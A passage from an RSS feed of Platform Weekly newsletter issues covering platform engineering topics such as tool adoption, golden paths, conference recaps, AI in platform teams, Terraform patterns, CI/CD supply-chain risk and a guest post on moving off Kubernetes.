developers to use hideous enterprise tools leadership chose after a round of golf with a charismatic sales rep. We see top-down mostly as \u201cselling out\u201d where our fellow developers will never forgive us for such heresy. \n\nBottoms-up - Is the more romantic view of the world that good tools merely emerge and developers will merely adopt them. We all want this to be true, but in reality it either rarely happens or is just not repeatable nor strategic to \u2018build it and they will come\u2019. \nBut this false dichotomy hides a hard truth that most platform leaders don\u2019t like to face: \nIf you've done your homework and have deep conviction in your gut and data that the developer tool you\u2019re building or adopting will significantly improve your developer productivity then leaving adoption to chance constitutes organizational malpractice.\nLess \u2018Engineering Manager\u2019, more \u2018Product Manager\u2019\nBeing a successful platform leader means taking high-stakes, high-conviction decisions that demand not only storytelling and charisma but a healthy dose of bravery. And a lot of inspiration can be taken from the field of product management, which is often alien to platform leaders more comfortable in the world of delivery and process optimization.\nLet\u2019s look at the definition of a PM from Lenny\u2019s newsletter: \u201cYour job as a PM is to deliver business impact by marshaling the resources of your team to identify and solve the most impactful customer problems.\u201d\nFor platform leaders that means building conviction in two key directions: \n\n\nUnderstanding and quantifying developer pain\n\nUnderstanding if we\u2019re solving a real and urgent business need. \nIf you\u2019re having adoption problems you\u2019re likely out of alignment with at least one. You\u2019re either not solving a real problem for your developers or your leadership are unaware or unconvinced of the benefit of what you\u2019re building.\nKnow thy developers and know thy leadership\nConviction doesn't emerge from thin air, it's built methodically. \nStart by deeply understanding your developers by asking them: What tools do you use? Can you show me how you\u2019d fix a bug? Can you show me your process for setting up your development environment? Surveys are great, but physically sitting with developers gives the richest insight. To champion on their behalf you must know their workflows inside/out. \nSimultaneously you must understand the strategic direction of the business and how your platform can accelerate those goals. Ask your leaders: what keeps you up at night? What metrics are you dying to move? What type of engineering culture do you want to create?\nHow can you convince your boss to use a tool?\nAligning solutions to business needs is something I\u2019ve learned a lot about working closely with platform teams in my role in product at Gitpod. Gitpod is very popular with developers and so I\u2019m commonly asked at conferences \u2018How can I convince my boss to use Gitpod at work?\u2019. \nAs I know developers like Gitpod it\u2019s usually a question of whether Gitpod is a good fit for the needs of the business. At Gitpod we work mostly with highly regulated customers like banks and pharmaceutical companies because of the security benefits and the likelihood they have existing but poor performing development environment solutions like a virtual desktop. \nMy first response is usually to slow down as I mentioned we need to understand if we\u2019re solving a real and urgent business need. For us, that\u2019s usually done by:\n\n\nRunning a survey - With developers to understand how many hours their developers spend on broken development environments. \n\nGathering quotes - From developers about that pain (bonus points if these quotes come from well respected and long-tenured developers!)\n\nUnderstanding business priorities - Does the company see it as a problem? Do they want to solve it? Are they willing to invest to solve the problem?\nWhilst this is a more \u2018commercial\u2019 way of investing in a developer tool, I\u2019d use the exact same process to assess platform investments. When you do your homework you end up with a deep sense of conviction into the decisions you\u2019re making as a platform team, you have support from your leadership and from your developers. \nSome developers will complain, someone always complains no matter what you do. But whatever you do, don\u2019t let mantras like \"our developers should choose their tools\" and \"we shouldn't mandate\" get in the way of doing your job as a platform leader. ]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Say Bonjour at KubeCon Paris\ud83e\udd50\n  https://platformweekly.com/issues/say-bonjour-at-kubecon-paris\n  https://platformweekly.com/issues/say-bonjour-at-kubecon-paris\n  \n  \nHey there! This is Platform Weekly, your weekly sip of platform engineering champagne\ud83e\udd42\nSay Bonjour at KubeCon Paris\ud83e\udd50\nHave you ever wondered why Platform Weekly branding is so croissant based? I get asked all the time\u2026 it\u2019s simple - I was in France when I started it\ud83e\udd50\nNow, I\u2019m going back to France again on another platform engineering mission for KubeCon Paris. I promise our booth and content is going to be as creative as always, though I\u2019ll probably receive a few hundred less angry messages this time.\nWill you be there? Make sure to come say hello at booth #D35 and let\u2019s talk platform engineering, but most of all, platform orchestrators and Minimum Viable Platforms.\nP.S. registered for House of Kube yet? The hottest party in cloud native fills up quick, but we do try and give an advantage to people from the platform engineering community, so register now!\nSee you in Paris, and as always\u2026 stay crunchy\ud83e\udd50\nQuick bites\nArticles that blew me away: \n\n\n(Almost) Every infrastructure decision I endorse or regret after 4 years running infrastructure at a startup\nFrom the community:\n\n\nTell your platform story. What got you into Platform Engineering?]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  State of AI Platform Engineering\n  https://platformweekly.com/issues/state-of-ai-platform-engineering\n  https://platformweekly.com/issues/state-of-ai-platform-engineering\n  \n  \nWe are working on the definitive State of AI Platform Engineering report volume 1. It will gather data from our 200k strong community to understand exactly how AI is reshaping the platform engineering world.\nThanks to Google Cloud, we already know that:\n\u201c94% of organizations identify AI to be \u2018Critical\u2019 or \u2018Important\u2019 to the future of platform engineering\u201d. At the same time, \u201c86% believe that platform engineering is essential to realizing the full business value of AI.\u201d\nBut with our community, I know we can go deeper. What AI are platform engineering teams actually using? How afraid are people really of being AI\u2019d away?\nHelp us by answering the survey. All data will then be shared with the community once we\u2019ve gathered it all.\nLong time readers of this newsletter know, I\u2019ve been a pretty outspoken AI hater in the (distant) past. Anyone who\u2019s tried to generate a decent TF file with AI knows where I was coming from.\nBut I have spent the last few months going as deep as I can on AI platform engineering, talking to Ambassadors, friends, and those few AI experts I know, and recently I had the chance to see what my friend Kaspar von Gr\u00fcnberg is cooking up - and I realized how insanely far things have come.\nIn the blink of an eye, AI platform engineering has gone from novelty to groundbreaking reality.\nAI\u2019s ability to translate natural language into developer intent for self-service is truly next level. I am also seeing security, and observability use cases that are mind-boggling.\nAt the same time, there is an immense gap between those who don\u2019t use AI (or worse, use it badly) and those who are using it well. Things are moving so fast, it\u2019s hard for orgs to not drown as this AI wave washes over everything. \nOur community is perfectly placed to help this. Let\u2019s ride this tidal wave together.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Guillotines, Croissants, and Platform Engineering\n  https://platformweekly.com/issues/guillotines-croissants-and-platform-engineering\n  https://platformweekly.com/issues/guillotines-croissants-and-platform-engineering\n  \n  \nHey there! This is Platform Weekly, your weekly dive into the wide world of platform engineering. \nGuillotines, Croissants, and Platforms\nIt was awesome to talk to so many of you at KubeCon Paris this week. It\u2019s been a crazy week. 4 days, dozens of meetings, 1 pretty intense bout of sickness and far too much coffee (not to mention the mescal). \nYou\u2019ll have to wait till next week for the full thoughts and learnings\u2026 but here are some of my favorite photos from the week.\nQuick bites\nArticles that blew me away: \n\n\n Developer Productivity Engineering at Netflix\nFrom the community:\n\n\nWill you be at KubeCon Paris? Come join the channel]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  10 best practices for Platform Engineering\n  https://platformweekly.com/issues/10-best-practices-for-platform-engineering\n  https://platformweekly.com/issues/10-best-practices-for-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly, your weekly can of platform engineering beans. Every week, we try and unpack some of the mysteries of the platform engineering universe. We talk about news, events from the community, and most of all learnings and best practices. Let\u2019s get crunchy.\nP.S don\u2019t miss the highlights, we\u2019ve got a treat in there\ud83d\udc40\n10 best practices for Platform Engineering\n\u200d\nWe are just two weeks away from finishing the summer cohort of the first-ever official platform engineering fundamentals course. It has been insane. We\u2019ve covered all the core principles of platform engineering from designing your golden paths, perfecting your abstraction layers, and knowing exactly how to start and how to succeed.\nWith 8 sessions + 2 guest lectures from Manuel Pais (author of Team Topologies) and Ajay Chankramath (Fmr Head of Platform Engineering at Thoughtworks), and dozens of conversations across the course Slack with all the attendees - I feel like even I\u2019ve 5x\u2019d my knowledge of platform engineering during the run of this course!\nThe final 2 weeks will be awesome too. We\u2019ll be diving into what is usually the hardest part of platform engineering. Getting buy-in from your management, proving the value of your platform. And actually ensuring your platform gets adopted and succeeds.\nThere is no way I could summarize 8 weeks of learning and 2 awesome guest lectures into one newsletter, so go take a look at the website and join us!\nBut let me give you a taste of what we\u2019ve been exploring. As first shared in my Platform as a Product whitepaper. Here are 10 best practices for platform engineering.________\n10 proven best practices\nBuild vs. buy vs blend \nThe market reached a maturity level where it doesn\u2019t make sense anymore to build everything from scratch. You should make a business case and do your ROI calculations as early as possible. According to our DevOps Benchmarking Study 2023, the best-performing platform engineering teams blend OSS with commercial vendor offerings but do not build everything from scratch. Check the platform tooling landscape for inspiration.\nApply well established architecture patterns \nWith a three-tier architecture (presentation, application, data): start building from the backend; do not simply put a developer portal as a presentation layer on top of your existing setup and build additional logic into it. Build the house first, then the front door.\nEverything as code\nConsider code as the single source of truth which helps maintain transparency, increase reliability, and simplify maintenance. An IDP that\u2019s code-first at its core allows for disaster recovery, versioning, and structured product development principles. This does not exclude further interface offerings such as a UI (portal), CLI, or API.\nBuild golden paths over cages\nCreating golden paths that provide best practice guidance and recommended approaches helps lower cognitive load and improve security and standardization. IDPs that apply smartly layered abstractions give developers the choice to follow the golden paths and be free to leave or change lower-level configs if the security posture allows.\nTake an 80/20 attitude to platforming\nDo not try to please everyone. To adapt to different situations, meet diverse needs, and benefit from evolving technologies, staying open-minded is key. But your platform design should not try to cover every technology on earth or convince every developer in a user base. Do not assume that you will be able to please 100% of developers. Instead, consider achieving 80% a great win.\nLeave platform interface choice to the developer\nTo ensure adoption, give developers the freedom to use the interfaces they\u2019re most comfortable with and that best meet their needs. Provide the option to use an OSS workload\nspecification like Score, a portal (GUI), CLI, or API.\nSecurity from scratch\nTo get buy in, implement security best practices from the get-go. If the V1 of your platform doesn\u2019t fulfill security and compliance requirements and if there is no proof that the platform will even support ensuring security and compliance by design, security teams will veto and your platform initiative is dead before it could even properly start.\nMeasure from the beginning \nMeasure success with hard numbers to support informed decisions and generate stakeholder buy-in. Choose metrics wisely, considering both leading (e.g., automation and complexity scores) and lagging indicators (e.g., DORA metrics). Track leading indicators in non-production environments early on. Remember to include NPS scores for developer satisfaction, as well as stability metrics, SLOs, and SLAs.\nGain stakeholder buy-in\nMake sure all stakeholders have a seat (besides the developers - your customers). From security to compliance and legal teams, from architects to I&O teams, and important for the funding of your platform engineering initiative: executives. Make sure you build a platform team where important stakeholders are represented by heralds and the team goals are aligned with those of your stakeholders.\nThink about adoption from the first day\nIf the platform is not used, it is dead. This is about internal marketing/evangelism.\nIdentify the right first team to onboard and make them advocates of your platform They are essential for platform success and developer adoption.]]>\n  \n  Wed, 27 Nov 2024 00:00:00 GMT\n\n\n  Beating cognitive (over)load \ud83e\udde0\n  https://platformweekly.com/issues/beating-cognitive-over-load\n  https://platformweekly.com/issues/beating-cognitive-over-load\n  \n  \nHello there!\nWelcome to Platform Weekly, the newsletter that takes the best of the cloud native and platform engineering world and delivers it hot and crunchy to your inbox every week \ud83e\udd50\nAfter an incredible PlatformCon 2022, the team knew we had to step up our game and shine the spotlight on more resources and voices from the community. So whether you plan to become a weekly reader or a regular contributor, we're pumped to have you here!\nLet\u2019s get bakin\u2019.\npc: Daniel Bryant, Head of DevRel @ Ambassador Labs\nBeating Cognitive (Over)load\nUnderstanding the cognitive load on developers and finding ways to ease it was a major theme at PlatformCon 2022. (Which shouldn't be surprising given it's why we build internal platforms in the first place! \ud83d\ude09)\n\ud83e\udde0 Cognitive load is the amount of information processing required by a person to perform a task. It becomes detrimental to learning when it exceeds working memory capacity. With the evolution of DevOps spawning an increasing amount of new tools and frameworks to learn and apply, it's difficult for developers to keep up. Ambassador Labs Head of DevRel Daniel Bryant illustrated the increase in cognitive load over the course of his career in his talk (see the graphic above).\nThe solution is a platform with golden paths. \ud83d\udee3\ufe0f Spotify's engineering team describes golden paths as an \"opinionated and supported path to build something.\" They help engineers avoid reinventing the wheel, give them fewer decisions to make on the day-to-day, and let them move faster. At the same time, it still offers developers the freedom to do what they need (when they need) without other teams. The reduced cognitive load enables greater productivity.\nThe cognitive load doesn't just disappear, though. \ud83d\udc7b Syntasso COO Paula Kennedy explains that the cognitive load is transferred to the platform team. So we should think about the platform team experience, also.\npc: Paula Kennedy, COO @ Syntasso\nShort on time?  We got you \ud83d\ude0b\n\ud83e\udd50 Infrastructure as code is expanding. Now we have environments as code, security as code, storage as code, and so so much more. Patrick Debois dove into the trends from 50+ concepts \"as code\" and came up with some interesting conclusions, including that the creation of MLOps and DataOps is blurring the lines between code and data.  Check it out.\n\ud83e\udd50  The first tweet says it all. I broke down Naphat Sanguansin's (ex-Dropbox) Platform Engineering article about why platform teams should prioritize shipping workflows over shiny new tech.\n\ud83e\udd50 If you don't understand CPU limits and requests on Kubernetes, check out Natan Yellin's (CEO @ Robusta.dev) article on the subject. Or check out the recording from the webinar we had yesterday on Platform Engineering community.\n\u200d]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Platform engineering: The cybersecurity holy grail we don\u2019t talk enough about \n  https://platformweekly.com/issues/platform-engineering-the-cybersecurity-holy-grail-we-dont-talk-enough-about\n  https://platformweekly.com/issues/platform-engineering-the-cybersecurity-holy-grail-we-dont-talk-enough-about\n  \n  \nHey there! This is Platform Weekly, serving you your weekly glass of platform engineering juice \ud83e\udd50 Let\u2019s get pourin'.\nPlatform engineering: The cybersecurity holy grail we don\u2019t talk enough about \nThis month Okta, the identity and access management company, announced they have once again been hit with another cybersecurity breach. If that wasn\u2019t bad enough, their stock dropped by almost 25%. That\u2019s $2.5 billion in market cap wiped out in a few days. I don\u2019t want to get into the weeds of the attack (because I don\u2019t have all the details and I\u2019m not an expert), nor what Okta could have done differently.\nBut I do want to take this opportunity to talk about something that doesn\u2019t get enough attention: the fact that platform engineering is AMAZING when it comes to security.\nMost times when we speak about platform engineering and Internal Developer Platforms (IDPs) we focus on metrics like time to market and velocity, or cognitive load and DevEx. That\u2019s usually what most people want to hear about. But there\u2019s an entire other side of that coin that needs spotlight attention.\nPlatform engineering, especially when done right (i.e. using a Platform Orchestrator to ship an IDP that is actually enterprise-grade) is a massive boost to your security profile as a company. Golden paths don\u2019t just make devs\u2019 lives easier, they let security teams enforce clear best practices and baseline templates. The Platform Orchestrator lets you roll out an enterprise-level RBAC model that defines clear roles and permissions, across all workflows and environments. It also allows you to audit every new deployment and revert back easily if needed.\nWhen I talk about IDPs I tend to focus on how they drive the metrics that let you ship faster and better. But remember that an IDP is unique to your org, based on your needs.\nHaving looked at hundreds of setups, I can tell you that the IDP of a bank looks different to that of a shoe company. With platform engineering, you can make sure that security is of the same standard right across the board.\nQuick bites\nOut on community, the results of the Platform Engineering survey are out! Did you check them yet?https://platformengineering.org/blog/results-are-in-the-2023-platform-engineering-survey\nArticles that blew our minds:\n\n\nThe 6 Pillars of Platform Engineering: Part 1 \u2014 Security - The New Stack, by Michael Fonseca\n\nhttps://www.linkedin.com/pulse/unifying-security-through-platform-engineering-martin-van-son/, by Martin van Son\nOn security, also this great talk at PlatformCon 2022:\nIncorporating security into Platform Engineering: The Dos and Dont\u2019s - PlatformCON 2022]]>\n  \n  Wed, 29 May 2024 00:00:00 GMT\n\n\n  The pressure is on for platform teams to operationalize AI\n  https://platformweekly.com/issues/the-pressure-is-on-for-platform-teams-to-operationalize-ai\n  https://platformweekly.com/issues/the-pressure-is-on-for-platform-teams-to-operationalize-ai\n  \n  \nWe all know AI is the big dog in tech right now. It was mentioned in 35% of all PlatformCon content after all. Organizations are racing to integrate AI features, and platform teams are feeling the heat in a huge way. Everyone from the C-suite to product owners is demanding AI-enhanced tools and workflows.\nMy friend Ben Potter from Coder (Def one of the best people to learn from in the community) breaks down this exact phenomenon, and what needs to be done in his new article, \u201dThe rising pressure on platform teams to operationalize AI\u201d. \nHere are some of the challenges he highlights. Sound familiar?\n\n\nFrom AI POCs to production: What starts as an LLM hackathon ends with leadership asking, \u201cWhen\u2019s this shipping?\u201d But most (all?) teams lack the actual foundations for their platforms.\n\nSecurity & compliance pressure: Training and serving AI models create new risks. Sensitive data, proprietary models, and shadow deployments, platform teams suddenly become the gatekeepers of AI risk management.\n\nDeveloper productivity vs. AI sprawl: Ironically, trying to help developers with AI often slows them down. Poorly integrated tools and unclear ownership lead to friction rather than flow.\nNot everyone is struggling, though. The platform teams that are successfully managing this pressure and operationalizing AI all share similar characteristics.\nGo check out what they are.]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n  Why your platform is failing\n  https://platformweekly.com/issues/why-your-platform-is-failing\n  https://platformweekly.com/issues/why-your-platform-is-failing\n  \n  \nHey there! Welcome to Platform Weekly, your weekly cast into the fire of Mt. platform engineering. Every week on Friday, we talk about the wide world of the platform engineering universe and share best practices, lessons, and news.\nThis week's newsletter is on one of the most important topics in platform engineering right now.\nWhy your platform is failing\nThere is a reason why of the dozens of platform engineers, from junior to director, who have joined the first official platform engineering course so many are asking one question, \u201cwhy isn\u2019t my platform working?\u201d\nLet\u2019s dive in.\nYou don\u2019t need me to tell you again that platform engineering has been taking the software engineering industry by storm. Promising lots of great things like better DevEx and real developer self-service. No more waiting times and no more TicketOps. Standardization by design and improved DORA metrics. Faster time to market, while also improving governance and security. The list goes on, and on and on.\nThat\u2019s why the list of engineering organizations turning to platform engineering is constantly growing. They want to \u201cmove faster without breaking things\u201d and \u201cenable true DevOps\u201d, true \u201cyou build it, you run it\u201d at scale. And that\u2019s why PlatformCon went from 10k to 100k views in 2 years, and that\u2019s why this newsletter has over 100k subscribers.\nSo why is it that I end up on calls with desperate platform teams every week telling me their platform initiatives are failing?\nIt\u2019s not for lack of trying. But so many of these teams are simply missing foundational concepts, best practices, and frameworks to help them navigate the landscape and structure their initiatives. Let\u2019s break it down.\nThere are 5 main reasons platform initiatives fail:\n\n\nLack of a clear platform design and how all the essential components fit together. Reference architectures are your friend here. 20% of speakers at PlatformCon24 speakers used these templates to showcase their IDPs.\n\nStarting to build the house from the door instead of from the foundation. They\u2019re often focusing on the front end because they need a quick win for their manager. When long term it\u2019s the backend that delivers the value.\n\nEverything, everywhere, all at once. Some teams use the ref archs to plan out their IDP accurately. Then they try to build it and roll it out all at once. That\u2019s a guaranteed recipe to fail at getting stakeholder buy-in. You\u2019re trying to do too much, too fast and you\u2019ll lose momentum and your platform before it even gets started. Think Minimum Viable Platform (MVP) first.\n\nThinking tooling is the issue. It almost never is. Platform engineering is a cultural transformation and that\u2019s how you should approach it. You need to align your initiative to the vested interests of the different stakeholder groups and bring them on the journey with you. Not try to figure out which tools you\u2019re going to implement.\n\nLack of product mindset. Just rebranding your existing DevOps team to a platform team without focusing on a mindset shift risks that they will approach building an IDP like they do most other things: as a one-off project. A successful IDP is built and iterated on continuously, as a product. Developers are your end customers, listen to them.\nThe orgs that are winning at platform engineering are winning big. And those who are losing are making often avoidable mistakes. We\u2019ve got an amazing community with loads of practitioners, we have courses diving into all this stuff, and all the resources you need to be rolling out a platform that your developers will love (and actually use).\nYou\u2019ve just gotta do it.]]>\n  \n  Mon, 07 Oct 2024 00:00:00 GMT\n\n\n  5 takeaways from PlatformCon\n  https://platformweekly.com/issues/5-takeaways-from-platformcon\n  https://platformweekly.com/issues/5-takeaways-from-platformcon\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly slice of platform engineering apple pie.\nBut first\u2026\n\n\nRegister early for Cloud Development Environments for Platform Engineers!\n\nYour last chance to use the loveplatformcon25 for an additional 30% off the bundle - an extra $945 discount\n\nWant your leadership to better understand platform engineering and how to succeed at it? See our NEW platform engineering leadership course\n5 takeaways from PlatformCon\nNow that the dust has settled on PlatformCon 2025, and I\u2019ve had the chance to watch all the live day talks and a large chunk of the workshops, let\u2019s zoom in on my key takeaways from the world\u2019s largest platform engineering event.\n\n\nGreat platform engineering \u201cachieves outcomes\u201d: In the opening panel at Live Day London, Cornelia Davis, Rickey Zachary, and Nicki Watt broke down their specifics of what great platform engineering is. The core idea, though? Your platform is great if it achieves outcomes.\n\nBasically, no one's platform is \u201cgreat\u201d: Even by that simple definition, when moderator Sam asked a room of 700 people to raise their hands if their platform \u201cachieved outcomes,\u201d only NINE people raised their hands. Oof. We still have a lot of work to do.\n\nShift down, not left: I\u2019ve been critiquing shift left for years now, but the script is finally flipping. Instead of just pushing responsibilities earlier, embed them deeper. Build the non-negotiable attributes like security, reliability, and scalability into the platform itself. That\u2019s how you free up devs and actually scale sustainably.\n\nAI is everywhere, but we\u2019re missing the foundations: Almost 30% of all PlatformCon content across Live days, workshops, and talks featured AI. BUT all our top PE leaders shared the same thoughts - If you don\u2019t have the foundations of PE down first (Platform as a product etc), then trying to throw a bunch of AI features into your platform isn\u2019t going to help you.\n\nLearning is everything: Unsurprisingly, considering the previous takeaways. Our in-person trainings were full to overflowing, and our workshop program had over 9,500 people in it. Learning is the most important topic in platform engineering right now.\nThere are over 255 talks, 30 virtual workshops, and 20+ live day talks of content either on our Youtube channel or being shared there soon over the next few weeks.\nPlatformCon has always been the crystal ball for the industry, and this year that might be more true than ever before. With the industry maturing beyond the definition stage, and AI reshaping the world, what we learned last week is crucial for setting the course of the next year.\nDamn, I\u2019m excited.]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  Two patterns to make Terraform at scale easier \ud83d\udcc8\n  https://platformweekly.com/issues/two-patterns-to-make-terraform-at-scale-easier\n  https://platformweekly.com/issues/two-patterns-to-make-terraform-at-scale-easier\n  \n  \nThere\u2019s a lot to learn from orgs who\u2019ve figured out how to roll out Terraform for their platform setup (at scale) the hard way.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nTwo patterns to make Terraform at scale easier \ud83d\udcc8\nIf your organization is invested in Infrastructure as Code (IaC), you\u2019ve probably heard of Terraform. It\u2019s the default choice for a reason, but that doesn\u2019t make it any less difficult to configure properly, especially at scale. But there are two patterns that can make it easier: landing zones and service catalogs.\n1. Landing zones \ud83d\udeec\nLanding zones are the foundation of your platform. They handle resource organization, billing, policy management, networking, and identity and access management (IAM). The idea is for landing zones to provide a basic framework for end users to consume. Environments are automatically configured to meet your organization\u2019s security and compliance requirements, so users can self-serve and deploy much easier.\n2. Service catalogs \ud83d\udcda\nCompany-wide or team-specific service catalogs can enable your engineering teams to deploy services complete with the necessary backing infrastructure. They simplify deployments that involve many moving parts (like a service from K8s that requires a database deployed on AWS, Google Cloud, or a multi-cloud environment). You can also create and approve reusable patterns to meet your scalability, compliance, and availability requirements in advance. This is a much easier way to set standards.\nMost importantly, service catalogs promote easy-to-use APIs and abstract complexity away from developers. Users can build catalogs on top of open-source base modules or bundle multiple modules and resources together without needing to master all of the intricacies of the underlying services you\u2019ve packaged together.\n\ud83d\udca1 Ultimately, Terraform is just a technology. If you want to get the most out of it, you have to think about it in the context of your workflows. The tools in your ecosystem should be the means, not the end.\nWant to dive deeper into landing zones? On 12/1, Mineiros CEO S\u00f6ren Martius will share how to accelerate your cloud adoption with landing zones.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\nBuckle your seatbelt \ud83d\udcba because platform engineering is really taking off \ud83d\ude80\n\ud83e\udd50 Gartner is hyped for platform engineering! They just released an article explaining what Platform Engineering is. Happy reading!\n\ud83e\udd50 O\u2019Reilly released October's Radar Trends and highlighted platform engineering as an alternative to both DevOps and SRE.\n\ud83e\udd50 Platform Engineering: is it the evolution of DevOps or just a fancy rebrand? George Hantzaras shares his thoughts on OpenObservability Talks \ud83c\udf99\ufe0f\n\ud83e\udd50 Is platform engineering the path to DevOps success? This article by Michael Mueller says yes.\n\ud83e\udd50 We all know that feeling...\nEnjoy reading our newsletter? Share it with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  This is how to win at platform engineering in 2024\n  https://platformweekly.com/issues/this-is-how-to-win-at-platform-engineering-in-2024\n  https://platformweekly.com/issues/this-is-how-to-win-at-platform-engineering-in-2024\n  \n  \nHey there! This is Platform Weekly, your soothing guide into 2024. Let\u2019s fly.\nThis is how to win at platform engineering in 2024\nWelcome to 2024! Let\u2019s rock n roll even harder than 2023\ud83e\udd18\nLast year was the year that platform engineering truly went mainstream. It cemented its place as a defining part of the future of software engineering and cloud native. PlatformCon23 had 22k attendees, KubeCon Chicago was overrun by platform engineering slogans and booths, and companies everywhere are waking up to the reality that platform engineering is not just a nice to have, it\u2019s how you win as an engineering organization.\nSo we all know now that if you don\u2019t have your platform in 2024, you\u2019re going to fall behind. And you\u2019ll struggle to catch up.\nSo what do you need to do? It\u2019s simple. You need to get started. \nI have talked about minimum viable platforms before, and there is a reason for that.\nIn Q4 last year, using the strategy of a pioneering team and a minimum viable platform I helped launch more platforms than the entire rest of the year put together. Every single one of those MVPs is working and proving value to all key stakeholders.\nThat means within barely a few months, those MVPs will be able to expand and deliver value across entire organizations as full blown Internal Developer Platforms.\nBy the end of this year, those platforms will have been enterprise ready for months and delivering that exact incredible platform engineering ROI that we have all been hypothesizing about the last 2 years.\nIf you started right now, you\u2019d have a platform up and running in 30 days. \nIn 30 more, it will prove itself and be ready to expand. Then? Well, there is no limit to what can happen next. You just have to get started.\nQuick bites\nArticles that blew me away: \n\n\nDeveloper Productivity in 2024\nFrom the community:\n\n\nWhere does your platform engineering team sit?]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Is this Military-Grade Platform Engineering?\n  https://platformweekly.com/issues/is-this-military-grade-platform-engineering\n  https://platformweekly.com/issues/is-this-military-grade-platform-engineering\n  \n  \nHey there! This is Platform Weekly, your weekly holiday into the sunny & sandy world of platform engineering. This week we\u2019re stepping out of the cloud, and down into the hard metallic core of bare metal\ud83e\udd18\nIs this Military-Grade Platform Engineering?\nPlatform engineering is the future of cloud native right? You don\u2019t need me to tell you that. It\u2019s the new frontier of cloud based technological advancement. But what happens when your client can\u2019t be on the cloud? Or is on the cloud, AND on prem in a beautiful air-gapped chunk of bare metal?\nWell, Andr\u00e9 from Bechtle (One of Germany\u2019s biggest Tech companies) in his awesome talk at KubeCon Paris talked about the possibilities for huge public sector businesses that can operate like that. \n\u201cWe\u2019ve been developing microservices since 2014. You can imagine the frankensteins and nightmares that we\u2019ve seen\u201d\nWhen dealing with highly regulated public sector clients, you\u2019re often faced with:\n\n\nDeploying to multiple environments (running on public cloud, private cloud, or on prem air-gapped)\n\nUnless you live in Korea or Estonia, you\u2019re likely facing a massive skill gap\n\nYou\u2019re dealing with the highest security requirements possible\nSo what might a platform that handles all that look like?\nTake a look at this glorious platform reference architecture. They\u2019ve got three Resource Planes, running on the Azure Stack, one on their own datacenter and then one on the customers data center (a data center for air-gapped environments at that!)\nThis could be an absolute mess, and a nightmare for developers, but so far\u2026 it isn\u2019t. Thanks to Platform Engineering.\nThe IDP above uses the workload specification Score to let developers uniformly describe resource needs across any cloud, eliminating the need for Kubernetes or target environment-specific knowledge. This means that the developer experience doesn\u2019t change, no matter how complicated the underlying tech setup is.\nThis lets them abstract away complexity and ensure a consistent, and massively improved developer experience.\nSounds pretty good, eh? But that is just one piece of this platform puzzle.\nI know you want more details. But you want to hear it directly from Andr\u00e9. Trust me.\nQuick bites\nArticles of the week:\n\n\nWant to be a technology company? Try Platform Engineering\n\u200dFrom the community:\n\n\nHave a platform engineering question for Kelsey Hightower? Ask here!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  How to secure, control, and strengthen CI/CD artifacts\n  https://platformweekly.com/issues/how-to-secure-control-and-strengthen-ci-cd-artifacts\n  https://platformweekly.com/issues/how-to-secure-control-and-strengthen-ci-cd-artifacts\n  \n  \nIf you\u2019ve ever watched a pipeline crawl while it re-downloads the same dependencies (again), or had a build fail because a public registry rate-limited your runners, you know that modern CI/CD is fast\u2026until it isn\u2019t.\nThis week we had a banger one-two punch community webinar & article from Thijs Feryn, and Adrian Herrera from Varnish on this exact problem, and how they\u2019re approaching it.\nDelivery paths today are a massive mix of language packages, OS dependencies, container images, and charts pulled from multiple public and private registries, across clouds, regions, and toolchains, with increasingly shaky trustworthiness.\nThere are 3 compounding problems with this sprawl.\n\n\nPerformance drag: Dependency pulls quietly consume a massive share of pipeline time, and costs explode. Plus longer feedback loops, more compute waste, and higher egress bills.\n\nReliability nightmare: Public registries have outages. Cloud platforms have outages. Rate limits happen at exactly the wrong time. When artifact access is a hard dependency for build & deploy, that external instability (which seems to be getting worse every year) is your problem. Massively.\n\nSECURITY: Repo-centric security is getting better but it mostly looks at artifacts while they\u2019re sitting in a repo\u2026scans, metadata, remediation notes etc. Supply chain attacks don\u2019t give a f* about that boundary. The real damage happens when something gets pulled and run in CI/CD. Which with super messy sprawling toolchains is increasingly likely.\nSo what do Adrian and Thijs think is a solution? In the community webinar and article, they break down shifting control from \u201cwhere artifacts are stored\u201d to \u201cwhere artifacts are accessed.\u201d Because the real risk shows up when artifacts are pulled into CI/CD.\nTake a look. And let me know what you think. Because things are changing fast.]]>\n  \n  Wed, 25 Feb 2026 00:00:00 GMT\n\n\n  Leaving Kubernetes\n  https://platformweekly.com/issues/leaving-kubernetes\n  https://platformweekly.com/issues/leaving-kubernetes\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly bowl of platform engineering popcorn. This week we\u2019ve got another guest newsletter from Lou Bichard from Gitpod breaking down their recent viral article. Will I get as many angry replies after this one?Let\u2019s dive in and see.\nWe left Kubernetes\n\u200d\nYep \u2014 you read that right. To us, Kubernetes seemed like the obvious choice when we set out to build remotely accessible standardized and automated development environments. \nAnd after having spent six years invested in making a cloud development environment platform that serves thousands of development environments per day, we found that Kubernetes is not the right choice for building development environments.\nLast week, we published a detailed post covering our six-year journey.\nThis is a good tl;dr; from a comment that accurately summarizes the whole post well:\n\"The problem with 'development environments', like other interactive workloads, is that there is a human at the other end that desires a good interactive experience with every keypress. It's a radically different problem space than what k8s was designed for.\"\nHere are some of the main highlights from the article:\nWhy development environments are different\n\n\nThey're highly stateful with source code, build caches, and test data because developers don\u2019t take kindly to losing source code or work progress.\n\nThey require unpredictable resource usage and bursting - development environments idle one moment and then need several CPU cores within milliseconds. \n\nThey demand root access and extensive permissions to help with package installation and general system configuration.\nSome of the technical challenges we faced:\n\n\nUnpredictable resource usage - Development environments 